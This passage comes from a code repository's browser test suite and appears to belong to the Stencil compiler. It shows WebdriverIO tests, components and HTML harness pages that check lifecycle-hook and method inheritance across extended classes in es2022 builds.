    "path": "test/wdio/ts-target/extends-lifecycle-basic/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Tests for extending Stencil-decorated classes with lifecycle hooks.\n * Built with `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n */\n\ndescribe('Test Case #1 – Lifecycle inheritance (Load, Render, Update)', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-lifecycle-basic/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.lifecycle-info'), { timeout: 5000 });\n    });\n\n    it('inherits componentWillLoad from LifecycleBase', async () => {\n      const frameEle = await browser.$('#es2022-dist');\n      const lifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n      expect(lifecycleCalls).toContain('componentWillLoad');\n    });\n\n    it('inherits componentDidLoad from LifecycleBase', async () => {\n      const frameEle = await browser.$('#es2022-dist');\n      const lifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n      expect(lifecycleCalls).toContain('componentDidLoad');\n    });\n\n    it('inherits componentWillRender from LifecycleBase', async () => {\n      const frameEle = await browser.$('#es2022-dist');\n      const lifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n      expect(lifecycleCalls).toContain('componentWillRender');\n    });\n\n    it('inherits componentDidRender from LifecycleBase', async () => {\n      const frameEle = await browser.$('#es2022-dist');\n      const lifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n      expect(lifecycleCalls).toContain('componentDidRender');\n    });\n\n    it('inherits update lifecycle on state change', async () => {\n      // Precondition: Verify update lifecycle events don't exist yet\n      const frameEle = await browser.$('#es2022-dist');\n      const initialLifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n      expect(initialLifecycleCalls).not.toContain('componentWillUpdate');\n      expect(initialLifecycleCalls).not.toContain('componentDidUpdate');\n\n      // Trigger update\n      const button = frameContent.querySelector('.trigger-update') as HTMLButtonElement;\n      button?.click();\n\n      // Wait for update and check value changed\n      await browser.waitUntil(\n        () => {\n          const valueEl = frameContent.querySelector('.current-value');\n          return valueEl?.textContent?.includes('updated');\n        },\n        { timeout: 3000 },\n      );\n\n      // Verify update lifecycle events were tracked to global array in iframe\n      const updatedLifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n      expect(updatedLifecycleCalls).toContain('componentWillUpdate');\n      expect(updatedLifecycleCalls).toContain('componentDidUpdate');\n    });\n  });\n\n  describe('es2022 custom-element output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest(\n        '/extends-lifecycle-basic/es2022.custom-element.html',\n        'es2022-custom-elements',\n      );\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.lifecycle-info'), { timeout: 5000 });\n    });\n\n    it('inherits lifecycle hooks in custom elements build', async () => {\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      const lifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n\n      // Verify all core lifecycle events are present\n      expect(lifecycleCalls).toContain('componentWillLoad');\n      expect(lifecycleCalls).toContain('componentDidLoad');\n      expect(lifecycleCalls).toContain('componentWillRender');\n      expect(lifecycleCalls).toContain('componentDidRender');\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-lifecycle-basic/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\nimport { LifecycleBase } from './lifecycle-base.js';\n\n@Component({\n  tag: 'extends-lifecycle-basic',\n})\nexport class LifecycleCmp extends LifecycleBase {\n  // State for testing updates\n  @State() value: string = '';\n\n  // Method to trigger update lifecycle for testing\n  triggerUpdate() {\n    this.value = 'updated';\n  }\n\n  render() {\n    return (\n      <div>\n        <h2>Lifecycle Inheritance Test</h2>\n        <p class=\"current-value\">Current Value: {this.value}</p>\n        <button class=\"trigger-update\" onClick={() => this.triggerUpdate()}>\n          Trigger Update\n        </button>\n\n        <div class=\"lifecycle-events\">\n          <h3>Lifecycle Events tracked to window.lifecycleCalls</h3>\n          <p class=\"lifecycle-info\">Events: {((window as any).lifecycleCalls || []).length} total</p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-lifecycle-basic/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-lifecycle-basic.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output</h1>\n  <extends-lifecycle-basic></extends-lifecycle-basic>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-lifecycle-basic/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output</h1>\n  <extends-lifecycle-basic></extends-lifecycle-basic>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-lifecycle-basic/lifecycle-base.ts",
    "content": "export class LifecycleBase {\n  // Lifecycle methods that will be inherited - track to global array (no render loops)\n  componentWillLoad() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('componentWillLoad');\n  }\n\n  componentDidLoad() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('componentDidLoad');\n  }\n\n  componentWillRender() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('componentWillRender');\n  }\n\n  componentDidRender() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('componentDidRender');\n  }\n\n  componentWillUpdate() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('componentWillUpdate');\n  }\n\n  componentDidUpdate() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('componentDidUpdate');\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-lifecycle-multilevel/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Tests for multi-level lifecycle inheritance. Built with\n * `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n *\n * Inheritance chain: Component → ParentBase → GrandparentBase\n */\n\ndescribe('Test Case #2 – Multi-Level Lifecycle Inheritance (Component → Base → GrandparentBase)', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-lifecycle-multilevel/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.lifecycle-info'), { timeout: 5000 });\n    });\n\n    it('inherits componentWillLoad through entire inheritance chain', async () => {\n      const frameEle = await browser.$('#es2022-dist');\n      const lifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n\n      // Verify all three levels fire componentWillLoad in correct order\n      expect(lifecycleCalls).toContain('GrandparentBase.componentWillLoad');\n      expect(lifecycleCalls).toContain('ParentBase.componentWillLoad');\n      expect(lifecycleCalls).toContain('Component.componentWillLoad');\n\n      // Verify order: Grandparent → Parent → Component\n      const willLoadIndices = [\n        lifecycleCalls.indexOf('GrandparentBase.componentWillLoad'),\n        lifecycleCalls.indexOf('ParentBase.componentWillLoad'),\n        lifecycleCalls.indexOf('Component.componentWillLoad'),\n      ];\n      expect(willLoadIndices[0]).toBeLessThan(willLoadIndices[1]);\n      expect(willLoadIndices[1]).toBeLessThan(willLoadIndices[2]);\n    });\n\n    it('inherits componentDidLoad through entire inheritance chain', async () => {\n      const frameEle = await browser.$('#es2022-dist');\n      const lifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n\n      // Verify all three levels fire componentDidLoad in correct order\n      expect(lifecycleCalls).toContain('GrandparentBase.componentDidLoad');\n      expect(lifecycleCalls).toContain('ParentBase.componentDidLoad');\n      expect(lifecycleCalls).toContain('Component.componentDidLoad');\n\n      // Verify order: Grandparent → Parent → Component\n      const didLoadIndices = [\n        lifecycleCalls.indexOf('GrandparentBase.componentDidLoad'),\n        lifecycleCalls.indexOf('ParentBase.componentDidLoad'),\n        lifecycleCalls.indexOf('Component.componentDidLoad'),\n      ];\n      expect(didLoadIndices[0]).toBeLessThan(didLoadIndices[1]);\n      expect(didLoadIndices[1]).toBeLessThan(didLoadIndices[2]);\n    });\n\n    it('inherits componentWillRender through entire inheritance chain', async () => {\n      const frameEle = await browser.$('#es2022-dist');\n      const lifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n\n      // Verify all three levels fire componentWillRender\n      expect(lifecycleCalls).toContain('GrandparentBase.componentWillRender');\n      expect(lifecycleCalls).toContain('ParentBase.componentWillRender');\n      expect(lifecycleCalls).toContain('Component.componentWillRender');\n    });\n\n    it('inherits componentDidRender through entire inheritance chain', async () => {\n      const frameEle = await browser.$('#es2022-dist');\n      const lifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n\n      // Verify all three levels fire componentDidRender\n      expect(lifecycleCalls).toContain('GrandparentBase.componentDidRender');\n      expect(lifecycleCalls).toContain('ParentBase.componentDidRender');\n      expect(lifecycleCalls).toContain('Component.componentDidRender');\n    });\n\n    it('inherits update lifecycle through entire inheritance chain on state change', async () => {\n      const frameEle = await browser.$('#es2022-dist');\n\n      // Precondition: Verify update lifecycle events don't exist yet\n      const initialLifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n      expect(initialLifecycleCalls).not.toContain('GrandparentBase.componentWillUpdate');\n      expect(initialLifecycleCalls).not.toContain('ParentBase.componentWillUpdate');\n      expect(initialLifecycleCalls).not.toContain('Component.componentWillUpdate');\n\n      // Trigger update\n      const button = frameContent.querySelector('.trigger-update') as HTMLButtonElement;\n      button?.click();\n\n      // Wait for update and check value changed\n      await browser.waitUntil(\n        () => {\n          const valueEl = frameContent.querySelector('.current-value');\n          return valueEl?.textContent?.includes('updated');\n        },\n        { timeout: 3000 },\n      );\n\n      // Verify update lifecycle events were tracked through entire chain\n      const updatedLifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n\n      // Verify all three levels fire update lifecycle\n      expect(updatedLifecycleCalls).toContain('GrandparentBase.componentWillUpdate');\n      expect(updatedLifecycleCalls).toContain('ParentBase.componentWillUpdate');\n      expect(updatedLifecycleCalls).toContain('Component.componentWillUpdate');\n\n      expect(updatedLifecycleCalls).toContain('GrandparentBase.componentDidUpdate');\n      expect(updatedLifecycleCalls).toContain('ParentBase.componentDidUpdate');\n      expect(updatedLifecycleCalls).toContain('Component.componentDidUpdate');\n\n      // Verify willUpdate order: Grandparent → Parent → Component\n      const willUpdateIndices = [\n        updatedLifecycleCalls.indexOf('GrandparentBase.componentWillUpdate'),\n        updatedLifecycleCalls.indexOf('ParentBase.componentWillUpdate'),\n        updatedLifecycleCalls.indexOf('Component.componentWillUpdate'),\n      ];\n      expect(willUpdateIndices[0]).toBeLessThan(willUpdateIndices[1]);\n      expect(willUpdateIndices[1]).toBeLessThan(willUpdateIndices[2]);\n    });\n\n    it('verifies complete lifecycle event count includes all inheritance levels', async () => {\n      const frameEle = await browser.$('#es2022-dist');\n      const lifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n\n      // Should have at least 12 events (4 lifecycle methods × 3 inheritance levels)\n      // willLoad, didLoad, willRender, didRender for each of: GrandparentBase, ParentBase, Component\n      expect(lifecycleCalls.length).toBeGreaterThanOrEqual(12);\n\n      // Verify we have representation from all inheritance levels\n      const grandparentEvents = lifecycleCalls.filter((call) => call.startsWith('GrandparentBase.'));\n      const parentEvents = lifecycleCalls.filter((call) => call.startsWith('ParentBase.'));\n      const componentEvents = lifecycleCalls.filter((call) => call.startsWith('Component.'));\n\n      expect(grandparentEvents.length).toBeGreaterThanOrEqual(4);\n      expect(parentEvents.length).toBeGreaterThanOrEqual(4);\n      expect(componentEvents.length).toBeGreaterThanOrEqual(4);\n    });\n  });\n\n  describe('es2022 custom-element output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest(\n        '/extends-lifecycle-multilevel/es2022.custom-element.html',\n        'es2022-custom-elements',\n      );\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.lifecycle-info'), { timeout: 5000 });\n    });\n\n    it('inherits multi-level lifecycle hooks in custom elements build', async () => {\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      const lifecycleCalls = await frameEle.execute((el) => (el.contentWindow as any).lifecycleCalls || []);\n\n      // Verify all inheritance levels are present in custom elements build\n      expect(lifecycleCalls).toContain('GrandparentBase.componentWillLoad');\n      expect(lifecycleCalls).toContain('ParentBase.componentWillLoad');\n      expect(lifecycleCalls).toContain('Component.componentWillLoad');\n\n      expect(lifecycleCalls).toContain('GrandparentBase.componentDidLoad');\n      expect(lifecycleCalls).toContain('ParentBase.componentDidLoad');\n      expect(lifecycleCalls).toContain('Component.componentDidLoad');\n\n      // Verify custom elements build maintains inheritance chain integrity\n      expect(lifecycleCalls.length).toBeGreaterThanOrEqual(12);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-lifecycle-multilevel/cmp.tsx",
    "content": "import { Component, h, State } from '@stencil/core';\nimport { ParentBase } from './parent-base.js';\n\n@Component({\n  tag: 'extends-lifecycle-multilevel',\n})\nexport class MultiLevelLifecycleCmp extends ParentBase {\n  // State for testing updates\n  @State() value: string = '';\n\n  // Override lifecycle methods to call super() and add component-level tracking\n  componentWillLoad() {\n    super.componentWillLoad();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('Component.componentWillLoad');\n  }\n\n  componentDidLoad() {\n    super.componentDidLoad();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('Component.componentDidLoad');\n  }\n\n  componentWillRender() {\n    super.componentWillRender();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('Component.componentWillRender');\n  }\n\n  componentDidRender() {\n    super.componentDidRender();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('Component.componentDidRender');\n  }\n\n  componentWillUpdate() {\n    super.componentWillUpdate();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('Component.componentWillUpdate');\n  }\n\n  componentDidUpdate() {\n    super.componentDidUpdate();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('Component.componentDidUpdate');\n  }\n\n  // Method to trigger update lifecycle for testing\n  triggerUpdate() {\n    this.value = 'updated';\n  }\n\n  render() {\n    return (\n      <div>\n        <h2>Multi-Level Lifecycle Inheritance Test</h2>\n        <p class=\"current-value\">Current Value: {this.value}</p>\n        <button class=\"trigger-update\" onClick={() => this.triggerUpdate()}>\n          Trigger Update\n        </button>\n\n        <div class=\"lifecycle-info\">\n          <h3>Inheritance Chain: Component → ParentBase → GrandparentBase</h3>\n          <p class=\"lifecycle-count\">Total lifecycle events: {((window as any).lifecycleCalls || []).length}</p>\n        </div>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-lifecycle-multilevel/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output - Multi-Level Lifecycle Extends</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-lifecycle-multilevel.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output - Multi-Level Lifecycle Extends</h1>\n  <extends-lifecycle-multilevel></extends-lifecycle-multilevel>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-lifecycle-multilevel/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output - Multi-Level Lifecycle Extends</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output - Multi-Level Lifecycle Extends</h1>\n  <extends-lifecycle-multilevel></extends-lifecycle-multilevel>\n</body>\n</html>\n"
  },
  {
    "path": "test/wdio/ts-target/extends-lifecycle-multilevel/grandparent-base.ts",
    "content": "export class GrandparentBase {\n  // Lifecycle methods at the top level of inheritance\n  componentWillLoad() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('GrandparentBase.componentWillLoad');\n  }\n\n  componentDidLoad() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('GrandparentBase.componentDidLoad');\n  }\n\n  componentWillRender() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('GrandparentBase.componentWillRender');\n  }\n\n  componentDidRender() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('GrandparentBase.componentDidRender');\n  }\n\n  componentWillUpdate() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('GrandparentBase.componentWillUpdate');\n  }\n\n  componentDidUpdate() {\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('GrandparentBase.componentDidUpdate');\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-lifecycle-multilevel/parent-base.ts",
    "content": "import { GrandparentBase } from './grandparent-base.js';\n\nexport class ParentBase extends GrandparentBase {\n  // Override lifecycle methods to call super() and add our own tracking\n  componentWillLoad() {\n    super.componentWillLoad();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('ParentBase.componentWillLoad');\n  }\n\n  componentDidLoad() {\n    super.componentDidLoad();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('ParentBase.componentDidLoad');\n  }\n\n  componentWillRender() {\n    super.componentWillRender();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('ParentBase.componentWillRender');\n  }\n\n  componentDidRender() {\n    super.componentDidRender();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('ParentBase.componentDidRender');\n  }\n\n  componentWillUpdate() {\n    super.componentWillUpdate();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('ParentBase.componentWillUpdate');\n  }\n\n  componentDidUpdate() {\n    super.componentDidUpdate();\n    (window as any).lifecycleCalls = (window as any).lifecycleCalls || [];\n    (window as any).lifecycleCalls.push('ParentBase.componentDidUpdate');\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-local/cmp.test.ts",
    "content": "import { browser } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\nimport { testSuites } from '../extends-test-suite.test.js';\n\n/**\n * Smoke tests for extending mixin classes. Built with\n *  `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n */\n\ndescribe('Checks component classes can extend from other, Stencil decorated local classes', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-local/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.main-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-local');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-local');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-local');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-local');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-local');\n      await methods();\n    });\n  });\n\n  describe('es2022 dist-custom-elements output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      await browser.switchToParentFrame();\n      frameContent = await setupIFrameTest('/extends-local/es2022.custom-element.html', 'es2022-custom-elements');\n      const frameEle = await browser.$('iframe#es2022-custom-elements');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.main-prop-1'), { timeout: 5000 });\n    });\n\n    it('renders default values', async () => {\n      const { defaultValue } = await testSuites(frameContent, 'extends-local');\n      await defaultValue();\n    });\n\n    it('re-renders values via attributes', async () => {\n      const { viaAttributes } = await testSuites(frameContent, 'extends-local');\n      await viaAttributes();\n    });\n\n    it('re-renders values via props', async () => {\n      const { viaProps } = await testSuites(frameContent, 'extends-local');\n      await viaProps();\n    });\n\n    it('calls watch handlers', async () => {\n      const { watchHandlers } = await testSuites(frameContent, 'extends-local');\n      await watchHandlers();\n    });\n\n    it('calls methods', async () => {\n      const { methods } = await testSuites(frameContent, 'extends-local');\n      await methods();\n    });\n  });\n\n  describe('hydrate output', () => {\n    it('renders component during SSR hydration via attributes', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-local')).ssrViaAttrs(mod);\n    });\n\n    it('renders component during SSR hydration via props', async () => {\n      // @ts-ignore may not be existing when project hasn't been built\n      const mod = await import('/test-ts-target-output/hydrate/index.mjs');\n      await (await testSuites(document.body, 'extends-local')).ssrViaProps(mod);\n    });\n  });\n});\n"
  },
  {
    "path": "test/wdio/ts-target/extends-local/cmp.tsx",
    "content": "import { Component, h, Prop, State, Method, Watch, Event, EventEmitter } from '@stencil/core';\n\nclass MixinParent {\n  @Event() myEvent: EventEmitter<string>;\n\n  /**\n   * Test getter/setter pattern - ensures default value is preserved\n   * and not overwritten with undefined during component initialization.\n   */\n  private _getterProp: string = 'getter default value';\n  @Prop()\n  get getterProp(): string {\n    return this._getterProp;\n  }\n  set getterProp(newValue: string) {\n    this._getterProp = newValue;\n  }\n\n  @Prop() prop1: string = 'ExtendedCmp text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('extended class handler prop1:', newValue);\n  }\n  @Prop() prop2: string = 'ExtendedCmp prop2 text';\n  @Watch('prop2')\n  prop2Changed(newValue: string) {\n    console.info('extended class handler prop2:', newValue);\n  }\n\n  @State() state1: string = 'ExtendedCmp state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('extended class handler state1:', newValue);\n  }\n  @State() state2: string = 'ExtendedCmp state2 text';\n  @Watch('state2')\n  state2Changed(newValue: string) {\n    console.info('extended class handler state2:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.prop1 = 'ExtendedCmp method1 called';\n  }\n\n  @Method()\n  async method2() {\n    this.prop1 = 'ExtendedCmp method2 called';\n  }\n}\n\nclass Mixin extends MixinParent {\n  @Prop() prop1: string = 'ExtendedCmp text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('extended class handler prop1:', newValue);\n  }\n}\n\n@Component({\n  tag: 'extends-local',\n})\nexport class MixinCmp extends Mixin {\n  @Prop() prop1: string = 'default text';\n  @Watch('prop1')\n  prop1Changed(newValue: string) {\n    console.info('main class handler prop1:', newValue);\n  }\n\n  @State() state1: string = 'default state text';\n  @Watch('state1')\n  state1Changed(newValue: string) {\n    console.info('main class handler state1:', newValue);\n  }\n\n  @Method()\n  async method1() {\n    this.myEvent.emit('main class method1 called');\n    this.prop1 = 'main class method1 called';\n  }\n\n  render() {\n    return (\n      <div>\n        <p class=\"main-prop-1\">Main class prop1: {this.prop1}</p>\n        <p class=\"main-prop-2\">Main class prop2: {this.prop2}</p>\n        <p class=\"main-getter-prop\">Main class getterProp: {this.getterProp}</p>\n        <p class=\"main-state-1\">Main class state1: {this.state1}</p>\n        <p class=\"main-state-2\">Main class state2: {this.state2}</p>\n      </div>\n    );\n  }\n}\n"
  },
  {
    "path": "test/wdio/ts-target/extends-local/es2022.custom-element.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist-custom-elements output</title>\n  <script type=\"module\">\n    import { defineCustomElement } from '/test-ts-target-output/custom-elements/extends-local.js';\n    defineCustomElement()\n  </script>\n</head>\n<body>\n  <h1>ES2022 dist-custom-elements output</h1>\n  <extends-local></extends-local>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-local/es2022.dist.html",
    "content": "<html>\n<head>\n  <title>ES2022 dist output</title>\n  <script src=\"/test-ts-target-output/dist/testtstarget/testtstarget.esm.js\" type=\"module\"></script>\n</head>\n<body>\n  <h1>ES2022 dist output</h1>\n  <extends-local></extends-local>\n</body>\n</html>"
  },
  {
    "path": "test/wdio/ts-target/extends-methods/cmp.test.ts",
    "content": "import { browser, expect } from '@wdio/globals';\nimport { setupIFrameTest } from '../../util.js';\n\n/**\n * Test Case #4 – Method Inheritance Basics\n * Tests for @Method decorator inheritance, super() calls, method override, and method composition.\n * Built with `tsconfig-es2022.json` > `\"target\": \"es2022\"` `dist` and `dist-custom-elements` outputs.\n */\n\ndescribe('Test Case #4 – Method Inheritance Basics', () => {\n  describe('es2022 dist output', () => {\n    let frameContent: HTMLElement;\n\n    beforeEach(async () => {\n      frameContent = await setupIFrameTest('/extends-methods/es2022.dist.html', 'es2022-dist');\n      const frameEle = await browser.$('#es2022-dist');\n      await frameEle.waitUntil(async () => !!frameContent.querySelector('.display-value'), { timeout: 5000 });\n\n      // Reset state before each test\n      const component = frameContent.querySelector<any>('extends-methods');\n      await component.reset();\n    });\n\n    it('inherits @Method from base class', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      // Call inherited baseMethod\n      const result = await component.baseMethod();\n      expect(result).toBe('base');\n\n      // Verify internal state was updated\n      const internalValue = await component.getInternalValue();\n      expect(internalValue).toBe('baseMethod called');\n\n      // Verify call was logged\n      const callLog = await component.getCallLog();\n      expect(callLog).toContain('baseMethod');\n    });\n\n    it('can call inherited methods that return values', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      const result = await component.baseMethod();\n      expect(result).toBe('base');\n      expect(typeof result).toBe('string');\n    });\n\n    it('overrides method with super() call', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      // Call overridden method\n      const result = await component.overridableMethod();\n\n      // Verify return value includes both base and child\n      expect(result).toBe('base-overridable+child');\n\n      // Verify both base and child implementations ran\n      const callLog = await component.getCallLog();\n      expect(callLog).toContain('overridableMethod:base');\n      expect(callLog).toContain('overridableMethod:child');\n\n      // Verify execution order (base first, then child)\n      const baseIndex = callLog.indexOf('overridableMethod:base');\n      const childIndex = callLog.indexOf('overridableMethod:child');\n      expect(baseIndex).toBeLessThan(childIndex);\n\n      // Verify final internal state is from child\n      const internalValue = await component.getInternalValue();\n      expect(internalValue).toBe('child override with super');\n    });\n\n    it('executes child-specific methods', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      // Call child method\n      const result = await component.childMethod();\n      expect(result).toBe('child');\n\n      // Verify child method updated state\n      const internalValue = await component.getInternalValue();\n      expect(internalValue).toBe('childMethod called');\n\n      // Verify call log\n      const callLog = await component.getCallLog();\n      expect(callLog).toContain('childMethod');\n    });\n\n    it('composes parent and child methods', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      // Call composed method that uses both parent and child\n      const result = await component.composedMethod();\n      expect(result).toBe('baseMethod called + child composition');\n\n      // Verify both parent and child methods were called\n      const callLog = await component.getCallLog();\n      expect(callLog).toContain('baseMethod');\n      expect(callLog).toContain('composedMethod:child');\n\n      // Verify execution order\n      const baseIndex = callLog.indexOf('baseMethod');\n      const childIndex = callLog.indexOf('composedMethod:child');\n      expect(baseIndex).toBeLessThan(childIndex);\n    });\n\n    it('updates component state from method calls', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      // Initial state\n      let displayValue = frameContent.querySelector('.display-value')?.textContent;\n      expect(displayValue).toContain('waiting...');\n\n      // Call method that updates @State\n      await component.childMethod();\n      await browser.pause(100);\n\n      // Verify state update triggered render\n      displayValue = frameContent.querySelector('.display-value')?.textContent;\n      expect(displayValue).toContain('Child: childMethod called');\n    });\n\n    it('uses protected helper methods from base class', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      // Child method uses protected formatValue from base\n      await component.childMethod();\n      await browser.pause(100);\n\n      const displayValue = frameContent.querySelector('.display-value')?.textContent;\n      // formatValue is called with 'Child' prefix\n      expect(displayValue).toContain('Child:');\n    });\n\n    it('maintains separate method call history', async () => {\n      const component = frameContent.querySelector<any>('extends-methods');\n\n      // Call multiple methods\n      await component.baseMethod();\n      